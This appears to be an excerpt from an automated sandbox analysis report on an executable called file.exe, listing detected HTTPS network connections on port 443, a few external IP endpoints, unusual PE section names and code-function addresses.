Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 50029 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50019 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.5:49871 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49931 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:50005 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B936AB	0_2_06B936AB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06BAAE9B	0_2_06BAAE9B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B8669E	0_2_06B8669E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06BB9E95	0_2_06BB9E95
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B84E8A	0_2_06B84E8A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06BAEE81	0_2_06BAEE81
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B7B6E8	0_2_06B7B6E8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B896CA	0_2_06B896CA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B846CC	0_2_06B846CC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06BC2E3C	0_2_06BC2E3C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06BBC60A	0_2_06BBC60A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06BC1E70	0_2_06BC1E70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06BBFE75	0_2_06BBFE75
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B8BE69	0_2_06B8BE69
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B9BE68	0_2_06B9BE68
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B92E6B	0_2_06B92E6B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06BB7E6E	0_2_06BB7E6E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B82663	0_2_06B82663
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B7E644	0_2_06B7E644
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06BBA640	0_2_06BBA640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B9DE45	0_2_06B9DE45
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06BC17B4	0_2_06BC17B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B87FA8	0_2_06B87FA8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B8C7AD	0_2_06B8C7AD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06BB6FAC	0_2_06BB6FAC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06BB27A3	0_2_06BB27A3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06BC0FA0	0_2_06BC0FA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B8BF9B	0_2_06B8BF9B
